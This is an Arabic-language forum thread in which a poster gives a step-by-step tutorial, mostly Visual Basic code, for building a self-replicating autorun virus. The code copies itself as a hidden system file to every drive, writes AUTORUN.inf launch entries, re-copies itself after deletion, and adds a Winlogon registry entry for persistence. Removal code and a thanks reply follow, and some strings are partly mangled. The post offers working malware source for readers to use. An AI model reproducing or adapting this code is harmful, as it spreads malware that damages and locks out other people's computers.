الرئيسيةس .و .جالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 كيف تصنع فيروس autorun بنفسك؟

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
Admin
Admin
Admin


عدد المساهمات : 115
تاريخ التسجيل : 04/04/2011

مُساهمةموضوع: كيف تصنع فيروس autorun بنفسك؟   الأحد مايو 08, 2011 3:33 am

السلام عــــــلــــيـــكــــــم ورحــــــــمـــة الله وبركاته[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة][ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

كيف تصنع فيروس AUTORUN بنفسك بالفيجوال بيسك

هذا كود لفايروس يحتوي علي ملف AUTORUN.INf كلما فتحت الاقراص الصلبة فأن الفايروس يفتح نفسة ونسخ نفسة في جميع الاقراص الصلبة
ادخل هذه الاكواد في الفورم لود



كود:

A:
FileCopy App.Path + "" + App.EXEName + ".exe", "c:\vir.exe"
SetAttr "c:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "c:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open =vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command=vir.exe"
Close #1
SetAttr "c:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "c:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "" + App.EXEName + ".exe", "d:\vir.exe"
SetAttr "d:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "d:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command= vir.exe"
Close #1
SetAttr "d:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "d:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "" + App.EXEName + ".exe", "e:\vir.exe"
SetAttr "e:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "e:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command= vir.exe"
Close #1
SetAttr "e:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "e:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
[size=21]طبعاً الاكواد الي فوق تنسخ الفيروس على القراص الصلبة التالية فقط-السي-الدي-الاي
اما اذا كنت تريده ينسخ نفسة على كل الاقراص[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة] تكتب نفس الاوامر الي فوق ولكن مع تغير احرف الاقراص طبعا تكتب الحروف كلها من AالىZ
مثال(قبل التعديل)


كود:

On Error Resume Next
FileCopy App
.Path + "" + App.EXEName + ".exe", "c:vir.exe"
SetAttr "
c:vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "
c:AUTORUN.inf" For Append As #1
Print #1, "
[AutoRun]"
Print #1, "
open =vir.exe"
Print #1, "
****************lexplorecommand=vir.exe"
Print #1, "
****************lopencommand=vir.exe"
Close #1
SetAttr "
c:AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "
c:vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem


مثال(بعد التعديل)))سيتم نسخ الفيروسات على M
On Error Resume Next
FileCopy App.Path + "" + App.EXEName + ".exe", "m:\vir.exe"
SetAttr "m:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "m:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open =vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command=vir.exe"
Close #1
SetAttr "m:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "m:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem



|||||||||||||||||| من مميزات الفيروس
1-ينسخ نفسه على كل الاقراص
2-يصنع لنفسه ملف AUTORUN.inf من دون تدخلك[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
3-يمكنك التعديل عليه واضافة الاكواد الي تبي ""مثل
4-حتى لو حذفت الفيروس سيعيد نسخ نفسه في المكان الي حذفته منه


يمكن ان تجعلة يقوم بتعطيل ادارة مهام ويندوز بهذا الكود


[b][b][size=21]FileCopy App.Path + "" + App.EXEName + ".exe", "c:windowssystem32vir.exe"
Dim WSH As Object
Set WSH = CreateObject("
Wscript.****************l")
WSH.RegWrite "
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon****************l", "Explorer.exe vir.exe", "REG_SZ"
[b][size=21]وطريقة حذفه ادخل الاكواد التالية في مشروع جديد طبعا بالضافة لاحرف الاقراص الي اضفتها على الاكواد السابقة
ولكن قبل كذا اقفل الفيروس من ادارة المهام


كود:

On Error Resume Next
SetAttr
"c:\AUTORUN.INF", vbNormal
Kill
"c:\AUTORUN.INF"
SetAttr "c:\vir.exe", vbNormal
Kill
"c:\vir.exe"

SetAttr "d:\AUTORUN.INF", vbNormal
Kill
"d:\AUTORUN.INF"
SetAttr "d:\vir.exe", vbNormal
Kill
"d:\vir.exe"

SetAttr "e:\AUTORUN.INF", vbNormal
Kill
"e:\AUTORUN.INF"
SetAttr "e:\vir.exe", vbNormal
Kill
"e:\vir.exe"

SetAttr "f:\AUTORUN.INF", vbNormal
Kill
"f:\AUTORUN.INF"
SetAttr "f:\vir.exe", vbNormal
Kill
"g:\vir.exe"

SetAttr "g:\AUTORUN.INF", vbNormal
Kill
"g:\AUTORUN.INF"
SetAttr "g:\vir.exe", vbNormal
Kill
"g:\vir.exe"


___________________
لكن فيه مشكله وحده بالفيروس[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]الفيروس
راح يقفل الهاردات بحيث لا يمكنك الدخول اليها لذا ارجوا من الشباب ان
يطوروا هذه المشكله فيه بحيث يكون الفيروس قادراً على فتح محرك الاقراص الي
هو موجود فيه

________
لترى الفيروسادخل على
لوحة التحكم\\\خيارات المجلد\\\عرض
اضغط على اظهار الملفات المخفيه+ازالة الصح من امام "اخفاء ملفات النظام المحمية"

__________
اتمنى يعجبكم[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
وانا غير مسؤول امام الله عن اي شخص يستخدمه ضد المسلمين
[/size]
[/b]


[/size]
[/b]goto A




[/size]
[/b]
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://bladi.banouta.net
القلب الجريح



عدد المساهمات : 18
تاريخ التسجيل : 12/07/2011

مُساهمةموضوع: رد: كيف تصنع فيروس autorun بنفسك؟   الخميس يوليو 21, 2011 4:16 am

شكرااااااااا
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
كيف تصنع فيروس autorun بنفسك؟
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» قاهر فيروس اتوران*****Autorun Eater******
» برنامج USB Antivirus الخطير لتنظيف مئات usb/autorun viruses + السيريال
» اسطوانة قتل autorun يارب تعجبكم

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
bladi :: قسم احتراف الحماية من الهكرز و القرصنة :: الحماية-
انتقل الى: